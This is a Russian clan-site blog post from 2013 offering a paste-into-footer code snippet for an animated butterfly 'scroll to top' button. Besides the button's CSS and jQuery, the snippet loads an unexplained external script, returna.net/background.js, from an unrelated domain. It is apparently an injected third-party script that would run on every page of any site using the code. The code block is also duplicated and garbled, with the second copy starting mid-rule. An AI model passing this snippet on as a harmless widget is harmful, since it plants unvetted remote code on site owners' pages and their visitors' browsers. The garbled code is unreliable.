Сайт клана TBW // Уникальная кнопка Scroll To Top (наверх) для сайта - 3 Мая 2013
Уникальная кнопка Scroll To Top (наверх) для сайта
0
Информация
- Просмотров: 304
- Теги:
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.
Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.
Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
.b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
.b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
$(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
$('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
});</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
.b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
.b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
$(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
$('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
});</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
Комментарии к "материалу"
Добавить комментарий
Меню сайта
Поиск
Архив записей
- 2011 Сентябрь
- 2011 Ноябрь
- 2011 Декабрь
- 2012 Январь
- 2012 Март
- 2012 Май
- 2012 Август
- 2012 Октябрь
- 2012 Ноябрь
- 2012 Декабрь
- 2013 Январь
- 2013 Февраль
- 2013 Март
- 2013 Апрель
- 2013 Май
- 2013 Июнь
- 2013 Июль
- 2013 Август
- 2013 Сентябрь
- 2013 Октябрь
- 2013 Ноябрь
- 2013 Декабрь
- 2014 Январь
- 2014 Февраль
- 2014 Март
- 2014 Август
- 2014 Сентябрь
- 2015 Январь
- 2015 Февраль
Наш опрос
Статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0